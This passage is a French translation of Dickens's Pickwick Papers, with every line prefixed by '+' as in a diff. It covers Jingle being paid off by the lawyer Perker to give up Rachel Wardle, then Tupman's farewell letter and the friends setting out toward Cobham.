+apprivoisé derrière un orgue, dans un petit bureau noir, oùs qu'il y
+avait un gaillard avec des papiers crasseux et des boîtes d'étain, qui
+travaillait à faire croire qu'il était bien occupé. «Asseyez-vous,
+monsieur, pendant que je vas faire le certificat, dit l'homme de
+loi.--Merci, monsieur!» dit mon père; et il s'assoit et il examine de
+tous ses yeux, et avec sa bouche ouverte les noms qu'il y avait sur les
+boîtes. «Comment vous appelez-vous, monsieur? dit l'homme de loi.--Tony
+Weller, dit mon père. --Votre paroisse? dit l'autre.--_La
+Belle-Sauvage_, dit mon père, car il s'arrêtait à cet hôtel-là quand il
+conduisait, et il ne connaissait rien aux paroisses.--Et comment
+s'appelle la dame?» dit l'homme de loi. Voilà mon père qui n'y est plus
+du tout. «Diable m'emporte si j'en sais rien! qu'il dit.--Vous n'en
+savez rien? dit l'autre.--Pas plus que vous, dit mon père. Pourrais-je
+pas ajouter le nom plus tard? dit-il.--Impossible! dit l'autre.--Très-bien,
+dit mon père, après avoir réfléchi un instant. Mettez Mme Clarke.--Clarke
+quoi? dit l'homme de loi en trempant sa plume dans l'encrier.--Suzanne
+Clarke, à l'enseigne du _Marquis de Granby, Dorking_, dit mon père. Je
+crois bien qu'elle me prendra, si je la demande. Je n'y en ai jamais
+touché un mot; mais elle me prendra, je le sais.» Comme ça, le permis
+fut enregistré. Et bien sûr qu'elle l'a pris; et ce qu'il y a de pire,
+c'est qu'elle le tient encore au jour d'aujourd'hui, et moi je n'ai pas
+seulement vu la couleur des quatre cents guinées. Pas de chance! Je vous
+demande excuse, monsieur, ajouta Sam, à la fin de son récit; mais quand
+je commence sur c'te doléance-là, je ne peux pas plus m'arrêter qu'une
+brouette neuve qui a une roue bien graissée.» Ayant tout dit, et ayant
+attendu un instant pour voir si l'on n'avait pas besoin de lui, il
+sortit de la chambre.
+
+«Neuf heures et demie! C'est l'heure; en route! dit alors le gentleman
+que nous pouvons nous dispenser d'introduire comme étant M. Jingle.
+
+--L'heure de quoi? demanda la tante demoiselle avec coquetterie.
+
+--Du permis, ange chéri; après, il faudra avertir à l'église. Demain
+matin, vous serez à moi, répondit M. Jingle en serrant la main de la
+tante demoiselle.
+
+--Le permis! soupira Rachel en rougissant.
+
+--Le permis, répéta M. Jingle:
+
+    _Au galop! au galop! je cours le chercher.
+    Au galop! et flonflon! je reviens près de vous!_
+
+--Comme vous allez vite! dit Rachel.
+
+--Vite! Vous verrez comme iront les heures, jours, semaines, mois,
+années, quand nous serons unis. Vite! Tonnerre, éclairs, locomotive,
+force de mille chevaux, rien n'ira si vite!
+
+--Ne pourrions-nous pas... ne pourrions-nous pas être mariés avant
+demain matin? demanda Rachel.
+
+--Impossible! Ne se peut pas! Il faut avertir l'église, laisser le
+permis aujourd'hui, cérémonie demain!
+
+--J'ai une si grande frayeur que mon frère ne nous découvre!
+
+--Nous découvre! Folie! Trop secoué par sa culbute! D'ailleurs, extrême
+précaution: quitté la chaise de poste, marché, pris une voiture, venus
+ici, la dernière place où il nous cherchera. Eh! eh! fameuse idée!
+
+--Ne soyez pas longtemps, dit la tante demoiselle avec affection,
+lorsqu'elle vit M. Jingle enfoncer son chapeau râpé sur sa tête.
+
+--Longtemps loin de vous! beauté cruelle! Et M. Jingle s'avança d'un air
+enjoué vers Rachel, imprima un chaste baiser sur ses lèvres, et sortit
+en dansant de la chambre.
+
+--Cher amant! dit la demoiselle, tandis qu'il fermait la porte.
+
+--Drôle de vieille folle!» pensa Jingle en arpentant les corridors.
+
+Il est pénible de s'appesantir sur la perfidie de notre espèce, et nous
+ne suivrons pas le fil des méditations de M. Jingle pendant son trajet
+aux _Doctors' Commons_. Il suffira de dire qu'il échappa aux embûches
+des gens en tablier blanc qui gardent la porte de cette région
+enchantée, et qu'il atteignit en sûreté le bureau du vicaire général.
+Là, il se procura une gracieuse épître de l'archevêque de Cantorbéry: «A
+ses amés et féaux Alfred Jingle et Rachel Wardle, salut.» Il déposa
+soigneusement dans sa poche le document mystique, et retourna au
+Borough, en triomphe.
+
+Il était encore en chemin, lorsque deux gentlemen puissants et un
+gentleman maigre entrèrent dans la cour du _Blanc-Cerf_, et cherchèrent
+des yeux quelque personne à laquelle ils pussent adresser un certain
+nombre de questions. M. Samuel Weller, décrotteur attitré du
+_Blanc-Cerf_, était en ce moment occupé à brunir une paire de bottes. Ce
+fut vers lui que se dirigea le gentleman maigre.
+
+«Mon ami! dit-il.
+
+--Il paraît que celui-là aime les consultations gratuites; autrement, il
+ne serait pas si amoureux de moi du premier coup, pensa le sagace
+garçon; mais il se contenta de dire: «Eh bien! monsieur?»
+
+--Mon ami! répéta le maigre gentleman avec un _hem!_ conciliateur,
+avez-vous beaucoup de voyageurs en ce moment? hein? Bien occupé,
+n'est-ce pas?»
+
+Sam examina l'interrogateur. C'était un petit homme, à l'air affairé, au
+visage brun et anguleux, dont les deux petits yeux toujours clignotants
+et scintillants de chaque côté d'un nez mince et inquisitif, semblaient
+faire une perpétuelle partie de cache-cache au moyen de cet organe. Son
+habit noir faisait ressortir la blancheur de sa chemise et de son
+étroite cravate; sur son pantalon noir se détachait une chaîne avec des
+breloques d'or, et ses bottes étaient aussi luisantes que ses yeux. Il
+tenait à la main ses gants de chevreau noir; et en parlant il fourrait
+ses poignets sous les pans de son habit, de l'air d'un homme qui est
+habitué à poser des questions légales.
+
+«Bien occupé, hein? dit le petit homme.
+
+--Pas mal comme ça, monsieur, répliqua Sam. Nous ne ferons pas
+banqueroute, ni fortune non plus. Nous mangeons not' mouton bouilli sans
+câpres, et nous nous battons l'oeil du raifort, quand nous pouvons
+attraper du boeuf.
+
+--Ah! dit le petit homme, vous êtes un farceur, n'est-ce pas?...
+
+--Mon frère aîné était affligé de cette maladie-là, répondit Sam. Nous
+couchions ensemble, et ça s'attrape peut-être....
+
+--Oh! la drôle de vieille maison que voilà! reprit le petit homme en
+regardant autour de lui.
+
+--Fallait faire prévenir de votre arrivée, on lui aurait fait des
+réparations, rétorqua le décrotteur imperturbable.»
+
+Son interlocuteur parut un peu déconcerté de ces rebuffades successives.
+Une courte consultation eut lieu entre lui et les deux gros gentlemen;
+ensuite il prit une prise de tabac dans une étroite tabatière d'argent,
+et il paraissait se disposer à renouveler la conversation, quand l'un de
+ses compagnons, qui, outre une contenance bienveillante, était porteur
+d'une paire de lunettes et d'une paire de guêtres noires, s'avança et
+dit en montrant l'autre gros gentleman.
+
+«Le fait est que mon ami vous donnera une demi-guinée, si vous voulez
+répondre à une ou deux....»
+
+--Eh! mon cher monsieur! mon cher monsieur! interrompit le petit homme.
+Permettez, je vous prie, mon cher monsieur. Le premier principe à
+observer dans des cas semblables, est celui-ci: Si vous mettez la chose
+entre les mains d'un homme d'affaires, vous ne devez plus vous en mêler
+aucunement. Vous devez reposer en lui une entière confiance. Réellement,
+monsieur...» Il se tourna vers l'autre gros gentleman en lui disant:
+«J'ai oublié le nom de votre ami.
+
+--Pickwick, répondit M. Wardle, car c'était ce joyeux personnage
+lui-même.
+
+--Ah! Pickwick. Réellement, monsieur Pickwick, mon cher monsieur,
+excusez-moi: Je serai heureux de recevoir vos avis en particulier, comme
+_amicus curiae_: mais vous devez voir l'inconvenance de votre
+intervention en ce moment, surtout par un argument _ad captandum_, tel
+que l'offre d'une demi-guinée. Réellement, mon cher monsieur,
+réellement... et le petit homme prit un air profond et une prise de
+tabac argumentative.
+
+--Mon seul désir, monsieur, répondit M. Pickwick, était d'amener à fin,
+aussi vite que possible, cette désagréable affaire.
+
+--Très-bien, très-bien, dit le petit homme.
+
+--C'est pourquoi, continua M. Pickwick, j'ai fait usage de l'argument
+que mon expérience des hommes m'a fait reconnaître comme le meilleur
+dans tous les cas.
+
+--Oui, oui, dit le petit homme: très-bon! très-bon! c'est vrai. Mais
+vous auriez dû me suggérer cela à moi. Vous savez, j'en suis sûr, quelle
+confiance sans bornes on doit placer dans son homme d'affaires. S'il
+était besoin d'une autorité à ce sujet, permettez-moi, mon cher
+monsieur, de vous référer à un cas bien connu dans Barnwell....
+
+--Ne vous alambiquez pas de George Barnevelt, interrompit Sam, qui était
+resté fort étonné de ce dialogue. Tout le monde connaît son histoire,
+et, voyez-vous, j'ai toujours imaginé que la jeune femme méritait
+beaucoup mieux que lui d'être pendue[13]. Mais c'est égal; ça n'a rien à
+voir ici. Vous voulez que j'accepte une demi-guinée. Très-bien, ça me
+va; je ne puis pas parler mieux que ça. Pas vrai, monsieur? (M. Pickwick
+sourit.) Alors il ne s'agit plus que de savoir ce que diable vous me
+voulez, comme dit c't autre quand il vit le revenant.
+
+[Footnote 13: Allusion à une cause célèbre.]
+
+--Nous voulons savoir.... dit M. Wardle.
+
+--Eh! mon cher monsieur! mon cher monsieur! interrompit le petit homme à
+l'air affairé.»
+
+M. Wardle leva les épaules, et se tut.
+
+«Nous voulons savoir, reprit solennellement le petit homme, et nous vous
+adressons cette question pour ne pas éveiller d'inutiles appréhensions
+dans l'auberge; nous voulons savoir ce qui s'y trouve actuellement.
+
+--Qu'est-ce qu'il y a dans la maison? Il y a une paire de bottes
+hongroises, au n° 13, répondit Sam, dans l'esprit duquel les logeurs
+étaient représentés par la partie de leur costume qui se trouvait sous
+sa direction immédiate. Il y a une jambe de bois au n° 6; deux paires de
+demi-bottes dans la salle du commerce. Il y a ces bottes à revers ici,
+au rez-de-chaussée, et cinq autres paires dans le café.
+
+--Pas davantage? dit le petit homme.
+
+--Attendez un brin, reprit Sam, en cherchant à se rappeler; oui, il y a
+une paire de bottes à la Wellington, pas mal usées, et des souliers de
+dame, au n° 5.
+
+--Quelle sorte de souliers? demanda avec empressement M. Wardle, qui,
+ainsi que M. Pickwick, s'était perdu dans ce singulier catalogue de
+chalands.
+
+--Souliers de province.
+
+--Y a-t-il le nom du cordonnier?
+
+--Brown.
+
+--D'où cela?
+
+--Muggleton.
+
+--Ce sont eux! s'écria Wardle. Par le ciel nous les avons trouvés.
+
+--Chut! dit Sam: Les Wellington sont allés aux _Doctors' Commons_.
+
+--Bah! fit le petit homme.
+
+--Oui, pour un permis.
+
+--Nous arrivons à temps, s'écria Wardle. Montrez-nous la chambre; il n'y
+a pas un moment à perdre.
+
+--Je vous en prie, mon cher monsieur, je vous en prie, dit le petit
+homme. De la prudence; de la prudence!»
+
+En parlant ainsi, il tira de sa poche une bourse de soie rouge, dont il
+aveignit un souverain, en regardant fixement Sam. Celui-ci sourit d'une
+manière expressive.
+
+«Montrez-nous la chambre, tout d'un coup, sans nous annoncer, dit le
+petit homme; et il est à vous.»
+
+Sam jeta la botte à revers dans un coin, et conduisit nos gens à travers
+un corridor sombre et un large escalier. Arrivé dans un second corridor,
+il fit halte et tendit la main.
+
+«Le voilà,» dit tout bas l'avoué en déposant le souverain dans la main
+de leur guide.
+
+Sam fit encore quelques pas, et s'arrêta devant une porte.
+
+«C'est ici? demanda le petit homme.»
+
+Sam fit signe que oui.
+
+Le vieux Wardle ouvrit la porte, et tous les trois pénétrèrent dans la
+chambre, juste au moment où M. Jingle, qui venait de rentrer, montrait
+le permis à la tante demoiselle.
+
+Rachel jeta un grand cri, et se renversant sur une chaise, se couvrit le
+visage avec les mains. M. Jingle chiffonna le permis, et le fourra dans
+sa poche. Les visiteurs intempestifs s'avancèrent au milieu de la
+chambre.
+
+«Vous êtes un joli coquin! s'écria le vieux Wardle, haletant de colère.
+Vous êtes...
+
+--Mon cher monsieur! mon cher monsieur! interrompit le petit homme, en
+posant son chapeau sur la table. Je vous en prie, faites attention.
+_Scandalum magnatum_... diffamation... action pour dommages...
+Calmez-vous, mon cher monsieur, je vous en prie.
+
+--Comment osez-vous enlever ma soeur de ma maison? reprit M. Wardle.
+
+--Oui, très-bien, dit le petit gentleman. Vous pouvez lui demander cela.
+Comment osez-vous enlever sa soeur, eh! monsieur?
+
+--Qui diable êtes-vous! s'écria M. Jingle d'un ton si violent que le
+petit homme en recula involontairement un pas ou deux.
+
+--Qui il est? coquin! C'est mon avoué, M. Perker. Perker, je veux
+poursuivre ce gueux-là! je veux le faire empoigner! Je veux... Je
+veux... Dieu me damne! je veux le ruiner.--Et vous, continua M. Wardle
+en se tournant brusquement vers sa soeur; vous Rachel, à votre âge! quand
+vous devriez connaître le monde! A quoi pensez-vous de vous enfuir avec
+un vagabond? de déshonorer votre famille, de vous rendre vous-même
+misérable! Mettez votre chapeau, et venez avec moi.--Faites venir une
+voiture et apportez la note de cette dame. Entendez-vous? entendez-vous?
+
+--Voilà, monsieur, répliqua Sam, en répondant au violent coup de
+sonnette de M. Wardle avec une célérité merveilleuse, pour quiconque ne
+savait pas que son oeil avait été appliqué au trou de la serrure, pendant
+toute l'entrevue.
+
+--Mettez votre chapeau! reprit Wardle.
+
+--N'en faites rien, s'écria Jingle. Quittez cette chambre, monsieur! Pas
+d'affaires ici. Dame libre et maîtresse de ses actions. Plus de vingt et
+un ans.
+
+--Plus de vingt et un ans! répéta M. Wardle avec mépris. Plus de
+_quarante_ et un ans!
+
+--Ce n'est pas vrai! s'écria la tante demoiselle, son indignation
+l'emportant sur son désir de se trouver mal.
+
+--C'est vrai, répliqua M. Wardle. Vous avez cinquante ans, comme un
+jour!»
+
+La tante demoiselle poussa un cri aigre, et perdit connaissance.
+
+M. Pickwick, avec son aménité accoutumée appela l'hôtesse, et lui
+demanda un verre d'eau.
+
+«Un verre d'eau! repartit le colérique vieillard; apportez-en un baquet
+et jetez-le sur elle. Cela lui fera du bien, et elle le mérite
+richement.
+
+--Fi! brute que vous êtes!» s'écria la compatissante hôtesse. Puis, avec
+diverses exclamations de: «pauvre chère dame! Allons, allons, pauvre
+chérie! buvez un peu de ça; ça vous fera du bien; ne vous laissez pas
+abattre comme ça; pauvre amour!» etc., etc. L'hôtesse, assistée par une
+servante commença à humecter le front, à frapper dans les mains, à
+chatouiller le nez, à délacer le corset de la tante demoiselle, et à lui
+administrer enfin tous les calmants appliqués ordinairement par les
+sensibles matrones aux dames qui s'efforcent de se donner des attaques
+de nerfs.
+
+«La voiture est prête, monsieur, dit Sam, en paraissant à la porte.
+
+--Allons! venez, reprit M. Wardle. Je vais la porter dans la voiture.»
+
+A cette proposition les attaques de nerfs recommencèrent avec une
+nouvelle fureur.
+
+L'hôtesse était sur le point de protester violemment contre ce procédé,
+et avait déjà demandé avec indignation si M. Wardle se croyait seigneur
+de la création, lorsque M. Jingle s'interposa.
+
+«Garçon, dit-il, amenez-moi un constable.
+
+--Attendez! attendez! dit le petit Perker. Considérez, monsieur,
+considérez.
+
+--Je ne veux rien considérer, répliqua Jingle. Elle est sa maîtresse.
+Voyons qui osera l'emmener, sans son consentement.
+
+--Je ne veux pas être emmenée, murmura la dame évanouie. Je n'y consens
+pas. (Ici il y eut une rechute effrayante.)
+
+--Mon cher monsieur, dit le petit avoué, en prenant à part M. Wardle et
+M. Pickwick; mon cher monsieur, nous sommes dans une situation bien
+embarrassante. C'est un cas désolant; je n'en ai jamais connu de plus
+désolant, mais, réellement, mon cher monsieur, nous n'avons aucun
+pouvoir pour contrôler les actions de cette dame. Je vous ai prévenu
+avant de venir, mon cher monsieur, qu'il n'y avait pas d'autre remède
+qu'un accommodement.
+
+--Quelle espèce d'accommodement voudriez-vous faire? demanda M.
+Pickwick.
+
+--Voyez-vous, mon cher monsieur, votre ami est dans une position
+très-déplaisante, excessivement déplaisante. Il faut qu'il consente à
+subir quelques pertes pécuniaires.
+
+--Je dépenserai tout ce qu'il faudra plutôt que de supporter ce
+déshonneur, plutôt que de souffrir, toute folle qu'elle est, qu'elle se
+rende misérable pour sa vie entière.
+
+--Je suppose que cela pourra s'arranger, dit le petit homme affairé. M.
+Jingle, voulez-vous venir avec nous, pour un instant, dans la chambre à
+côté?»
+
+M. Jingle y consentit et le quatuor passa dans une pièce voisine.
+
+«Maintenant, monsieur, dit le petit homme en fermant soigneusement la
+porte, n'y a-t-il aucun moyen d'accommoder cette affaire? Venez par ici,
+monsieur, dans cette embrasure de croisée, où nous serons en
+tête-à-tête. Là, monsieur, là! Asseyez-vous s'il vous plaît, monsieur.
+Maintenant, mon cher monsieur, entre vous et moi, nous savons très-bien,
+mon cher monsieur, que vous avez enlevé cette dame pour l'amour de son
+argent. Ne froncez pas le sourcil, monsieur, c'est inutile: je vous dis,
+entre vous et moi, que _nous_ savons cela. Nous sommes tous les deux des
+hommes du monde, et _nous_ savons très-bien que nos amis ici n'en sont
+pas. N'est-ce pas, monsieur?»
+
+Le visage de M. Jingle s'éclaircit graduellement pendant ce discours, et
+quelque chose qui ressemblait à un clignement d'oeil trembla, pendant un
+instant, dans sa paupière gauche.
+
+«Très-bien! très-bien! poursuivit M. Perker, observant l'impression
+qu'il avait faite. Maintenant, le fait est que la dame n'a rien, ou peu
+de chose, jusqu'à la mort de sa mère.... Une personne bien constituée,
+mon cher monsieur.
+
+--Vieille! dit M. Jingle laconiquement, mais avec énergie.
+
+--Oui, c'est vrai, reprit l'avoué avec une légère toux; vous avez
+raison, mon cher monsieur, elle est assez vieille. Mais elle vient d'une
+vieille famille, mon cher monsieur; vieille dans toutes les acceptions
+du mot. Le fondateur de cette famille arriva dans le comté de Kent, lors
+de l'invasion de Jules-César, et depuis ce temps-là il n'y a qu'un seul
+de ses membres qui n'ait pas vécu jusqu'à quatre-vingt-cinq ans, encore
+a-t-il été décapité par ordre d'un des Henry. La vieille dame n'a pas
+soixante-treize ans, mon cher monsieur.»
+
+Le petit homme s'arrêta et prit une prise de tabac.
+
+«Eh bien? fit M. Jingle.
+
+--Eh bien! mon cher monsieur.... Vous ne prenez pas de tabac? Vous avez
+raison, c'est une habitude coûteuse. Eh bien! mon cher monsieur, vous
+êtes un joli garçon, un homme du monde, capable de pousser votre
+fortune, si vous aviez un capital, hein?
+
+--Eh bien! répéta M. Jingle.
+
+--Vous ne me comprenez pas?
+
+--Pas tout à fait.
+
+--Ne pensez-vous pas... Je viens au fait, mon cher monsieur. Ne
+pensez-vous pas que cinquante guinées et la liberté seraient plus
+agréables que miss Wardle et des espérances?
+
+--Impossible! dit M. Jingle en se levant. Pas assez, de moitié!
+
+--Non! non! mon cher monsieur, reprit le petit avoué en l'arrêtant par
+un bouton. Bonne somme ronde. Un homme comme vous pourrait la tripler en
+un rien de temps. On peut faire bien des choses avec cinquante gainées,
+mon cher monsieur.
+
+--Bien plus avec cent cinquante, répliqua Jingle froidement.
+
+--Allons, mon cher monsieur, nous ne perdrons pas notre temps à couper
+un cheveu en quatre. Disons... disons quatre-vingts....
+
+--Impossible!
+
+--Restez, mon cher monsieur. Dites-moi ce que vous voulez.
+
+--Affaire coûteuse, déboursés, chevaux de poste, neuf guinées; licence,
+trois guinées, douze guinées; compensation, cent guinées, cent douze.
+Perte d'honneur et perte de la dame....
+
+--Allons! mon cher monsieur, allons! interrompit l'homme d'affaires d'un
+air malin. Ne parlons pas des deux derniers articles. Cela fait cent
+douze guinées. Mettons cent, allons!
+
+--Cent vingt[14].
+
+[Footnote 14: 3000 francs.]
+
+--Allons! allons! je vais vous écrire un mandat, reprit le petit homme
+en s'asseyant près d'une table, et commençant à écrire. Je le ferai
+payable pour après demain et nous pouvons emmener la dame d'ici là?»
+ajouta-t-il en interrogeant M. Wardle du regard.
+
+Celui-ci fit un sombre signe d'assentiment.
+
+«Cent, dit le petit homme.
+
+--Et vingt, ajouta Jingle.
+
+--Mon cher monsieur! reprit l'avoué.
+
+--Donnez-les lui, interrompit M. Wardle. Et qu'il s'en aille au diable
+avec!»
+
+Le mandat fut donc écrit par le petit gentleman, et empoché par M.
+Jingle.
+
+«Maintenant quittez cette maison sur-le-champ! dit M. Wardle, en se
+levant.
+
+--Mon cher monsieur... observa l'homme d'affaires.
+
+--Et sachez, continua M. Wardle sans s'occuper de l'interrupteur, sachez
+que rien au monde, pas même l'honneur de ma famille, n'aurait pu me
+faire consentir à cet arrangement, si je n'étais pas convaincu que vous
+deviendrez la proie du diable d'autant plus vite que vous aurez plus
+d'argent.
+
+--Mon cher monsieur, représenta de nouveau le petit homme.
+
+--Tenez-vous tranquille, Perker, lui répondit son colère client. Quittez
+cette chambre, monsieur!
+
+--En route sur-le-champ, répliqua l'impassible Jingle. Adieu Pickwick.»
+
+Si quelque spectateur désintéressé avait pu contempler, pendant la fin
+de cette conversation, la contenance de l'homme illustre dont le nom
+décore notre titre, il aurait été étonné que le feu de l'indignation qui
+jaillissait de ses yeux ne fit pas fondre les verres de ses lunettes.
+Ses narines s'enflèrent, ses poings se fermèrent involontairement, quand
+il s'entendit nommer familièrement par le misérable. Mais il se contint;
+il ne le pulvérisa point.
+
+«Tenez, continua le scélérat endurci, en jetant la licence aux pieds de
+M. Pickwick. Changez les noms, emmenez la dame,--fera l'affaire de
+Tuppy.»
+
+M. Pickwick était un philosophe. Mais, après tout, les philosophes ne
+sont que des hommes revêtus d'une armure de sagesse. Le trait mordant
+pénétra à travers le harnais philosophique de notre héros et déchira
+profondément son coeur. Dans un accès de rage il lança, au hasard,
+l'encrier qui avait servi à M. Perker, et se précipita dans la même
+direction. Mais son adversaire était disparu et il se trouva arrêté dans
+les bras de Sam.
+
+«Ohé! dit cet excentrique fonctionnaire. Le mobilier n'est pas cher dans
+vot' pays, vieux gentleman. Voilà une encre qui écrit toute seule, hein?
+Elle vient d'écrire vot' nom sur ce mur. Laissez donc monsieur; à quoi
+bon courir après un homme qui est, à présent, à l'autre bout du
+Borough?»
+
+L'esprit de M. Pickwick, comme celui de tous les hommes vraiment grands,
+était ouvert à la persuasion, et comme il raisonnait puissamment et
+rapidement, un seul instant de réflexion suffit pour le convaincre de
+l'inutilité de son courroux. Il s'apaisa aussi vite qu'il s'était
+enlevé, respira fortement, et jeta un regard bénin sur ses amis.
+
+Rapporterons-nous les lamentations de miss Wardle quand elle apprit de
+quelle manière son infidèle amant l'abandonnait? Imprimerons-nous les
+détails de cette scène déchirante, si admirablement décrite par M.
+Pickwick? Son livre de notes est ouvert devant nous; une légère
+moisissure indique encore combien de larmes lui arracha l'humanité
+sympathisante. Un seul mot, et ces notes seront entre les mains de
+l'imprimeur. Mais non! nous résisterons à cette pensée! nous ne
+désolerons pas le coeur du publie par la peinture de ces affreuses
+souffrances.
+
+Le lendemain, la lourde voiture de Muggleton ramena, lentement et
+tristement, les deux amis avec la dame délaissée. Les ombres de la nuit
+étaient tombées depuis bien longtemps sur toute la nature, quand ils
+arrivèrent à la porte de Manoir-ferme.
+
+
+
+
+CHAPITRE XI.
+
+Contenant un autre voyage et une découverte d'antiquité: annonçant la
+résolution de M. Pickwick d'assister à une élection, et renfermant un
+manuscrit donné par le vieil ecclésiastique.
+
+
+Une nuit de repos et de tranquillité dans le profond silence de
+Dingley-Dell, et, le lendemain matin, une heure d'immersion dans l'air
+frais et parfumé de la campagne, effacèrent complétement, chez M.
+Pickwick, les traces de la fatigue que son corps avait supportée et de
+l'anxiété qui avait agité son esprit. Depuis deux jours cet homme
+illustre était séparé de ses amis, de ses sectateurs, et lorsqu'au
+retour de sa promenade matinale il rencontra M. Winkle et M. Snodgrass,
+ce fut avec un sentiment de délices qui peut à peine être compris par
+une imagination vulgaire, qu'il s'avança au-devant d'eux pour leur dire
+bonjour. Le plaisir fut mutuel. Qui pourrait, en effet, contempler, sans
+en éprouver, le visage rayonnant de M. Pickwick? Et cependant un nuage
+semblait obscurcir le front de ses disciples. Ils avaient un air
+mystérieux, aussi alarmant qu'extraordinaire. Le grand homme s'en
+aperçut et ne put en deviner la cause.
+
+Après avoir serré les mains des deux jeunes gens, et proféré de chaudes
+expressions de bienvenue, M. Pickwick leur dit: «Comment va Tupman?»
+
+M. Winkle, à qui cette question était plus particulièrement adressée, ne
+fit point de réponse. Il détourna la tête et parut absorbé dans de
+mélancoliques réflexions.
+
+«Snodgrass, reprit M. Pickwick avec vivacité, comment va notre ami?
+Est-il malade?
+
+--Non! répliqua M. Snodgrass; et une larme trembla sur sa paupière
+sentimentale, comme une goutte de pluie sur le bord d'une croisée. Non!
+il n'est pas malade!»
+
+M. Pickwick contempla tour à tour chacun de ses amis.
+
+«Winkle! Snodgrass! leur dit-il quand il les eut suffisamment
+contemplés, que signifie cela? Où est notre ami? Qu'est-il arrivé?
+Parlez, je vous en supplie, je vous en conjure! Que dis-je? je vous le
+commande, parlez!»
+
+Il y avait dans le maintien et dans l'accent de M. Pickwick une dignité,
+une solennité à laquelle il était impossible de résister. «Il nous a
+quittés, répondit M. Snodgrass.
+
+--Quittés! s'écria M. Pickwick.
+
+--Quittés, répéta M. Snodgrass.
+
+--Où est-il? demanda M. Pickwick.
+
+--Nous pouvons seulement le soupçonner d'après cet écrit, répliqua M.
+Snodgrass en tirant une lettre de sa poche et la plaçant entre les mains
+de son ami. Hier matin, quand nous avons reçu une lettre de M. Wardle,
+qui nous annonçait pour la nuit le retour de sa soeur, nous avons
+remarqué que la mélancolie qui assombrissait l'âme de notre ami,
+semblait s'accroître encore. Peu de temps après il disparut. Nous le
+cherchâmes vainement durant tout le jour; et, dans la soirée, cette
+lettre nous fut apportée par le palefrenier de la _Couronne_, à
+Muggleton. Notre ami la lui avait laissée dès le matin, en lui
+recommandant bien de ne nous la remettre que lorsque les ombres de la
+nuit auraient obscurci la nature.»
+
+M. Pickwick ouvrit la lettre. Elle était de l'écriture de M. Tupman, et
+contenait ce qui suit;
+
+     «Mon cher Pickwick,
+
+«Vous qui êtes placés dans une région supérieure aux faiblesses
+humaines, vous ignorez quel coup fatal on reçoit lorsqu'on est abandonné
+par une charmante, par une fascinante créature; et lorsqu'on devient la
+victime d'un monstre qui cachait la ruse et le vice hideux sous le
+masque de l'amitié. Ah! puissiez-vous ne l'apprendre jamais!
+
+«Les lettres qui me seront adressées à la _Bouteille de cuir_, à
+Cobham-Kent, me seront transmises, supposé que j'existe encore. Je
+m'éloigne d'une partie du monde qui m'est devenue odieuse. Si je quitte
+le monde tout entier, plaignez-moi, pardonnez-moi. La vie, mon cher ami,
+m'est devenue insupportable! La flamme qui brûle au dedans de nous est
+comme les crochets d'un porteur, sur lesquels repose l'énorme poids des
+soins et des soucis du monde; quand cette flamme nous manque, le fardeau
+devient trop pesant pour que nous puissions le supporter et nous tombons
+accablés sur la terre. Vous pouvez dire à Rachel.... Ah! ce nom!... Quel
+souvenir!...
+
+     «TRACY TUPMAN.»
+
+«Nous allons partir sur-le-champ, dit M. Pickwick en refermant cette
+lettre. Nous n'aurions pu, dans aucune circonstance, rester décemment
+ici après les événements qui s'y sont passés; mais maintenant, c'est un
+devoir pour nous d'aller à la recherche de notre ami.» En prononçant ces
+nobles paroles, M. Pickwick prit le chemin de la maison.
+
+Ses intentions furent promptement communiquées à ses hôtes. Leurs
+prières pour le retenir furent instantes, mais inutiles. «D'importantes
+affaires, leur dit-il, rendent mon départ indispensable.»
+
+Le vieil ecclésiastique était présent.
+
+«Vous êtes donc décidé à nous quitter?» dit-il à M. Pickwick, en le
+prenant à part; et sur sa réponse affirmative, il ajouta: «S'il en est
+ainsi, voilà un petit manuscrit que j'espérais avoir le plaisir de vous
+lire moi-même. Ayant perdu un de mes amis, qui était médecin de notre
+hôpital des fous, j'ai trouvé ce manuscrit parmi beaucoup d'autres
+papiers qu'il m'avait chargé de brûler ou de conserver, à mon choix. Il
+n'est point de la main de mon ami, et j'ai peine à croire qu'il ne soit
+pas apocryphe: lisez-le, mon cher monsieur, et jugez par vous-même, s'il
+a été réellement écrit par un maniaque, ou, ce qui me paraît plus
+probable, si les rêveries d'un de ces infortunés ont été recueillies par
+une autre personne.»
+
+M. Pickwick reçut le manuscrit, et se sépara du bienveillant vieillard
+avec mille expressions d'estime et d'affection.
+
+C'était une tâche bien plus difficile de prendre congé des habitants de
+Manoir-ferme, où nos voyageurs avaient été reçus avec tant
+d'hospitalité, avec des attentions si délicates. M. Pickwick embrassa
+les jeunes ladies. Nous allions dire, _comme si elles avaient été ses
+propres filles_, mais la comparaison pourrait bien n'être pas
+entièrement exacte, car peut-être y mit-il un peu plus de chaleur. Il
+embrassa la vieille lady avec une tendresse filiale, et en glissant dans
+la main des servantes quelques preuves substantielles de sa
+bienveillance, il tapota leurs joues rosées, d'une manière toute
+patriarcale. Ensuite, des protestations bien plus cordiales encore, bien
+plus prolongées, furent échangées avec leur excellent amphytrion et avec
+M. Trundle. Cependant M. Snodgrass était disparu; et il fallut l'appeler
+plusieurs fois avant de le déterminer à sortir de certains corridors
+sombres.
+
+Miss Émily rentra bientôt après, et ses yeux, ordinairement si
+brillants, paraissaient ternes et battus. Enfin les trois amis
+s'arrachèrent des bras de leurs aimables hôtes, et tout en s'éloignant
+lentement de la ferme, ils jetèrent en arrière bien des regards
+attendris. On prétend même que M. Snodgrass lança d'innombrables baisers
+dans les airs, en reconnaissance de quelque chose de blanchâtre qui
+continua à s'agiter à une des croisées de la maison, jusqu'au moment où
+un détour du chemin leur cacha la vieille demeure: ce quelque chose
+ressemblait beaucoup à un mouchoir de femme.
+
+A Muggleton nos voyageurs prirent la voiture de Rochester, et lorsqu'ils
+arrivèrent dans ce dernier endroit, leur douleur s'était suffisamment
+apaisée pour leur permettre de faire un excellent dîner. Quelque temps
+après, ayant pris les informations nécessaires concernant le chemin
+qu'ils devaient suivre, ils se dirigèrent, en se promenant, vers Cobham.
+
+C'était par une charmante soirée du mois de juin. La route, qui
+serpentait à l'ombre d'un bois, était égayée par le chant des oiseaux,
+et rafraîchie par l'haleine du zéphir; le lierre grimpant et les mousses
+pendantes ornaient le tronc des vieux arbres; la terre était revêtue
+d'un vert gazon, aussi délicat qu'un tapis de soie. En sortant du bois,
+nos voyageurs se trouvèrent dans un parc ouvert, au milieu duquel
+s'élevait un ancien château construit dans le style pittoresque et
+singulier du temps d'Élisabeth. De longs points de vue s'étendaient de
+tous les côtés, au milieu des chênes et des ormes gigantesques; de
+nombreux troupeaux de daims paissaient l'herbe fraîche, et de temps en
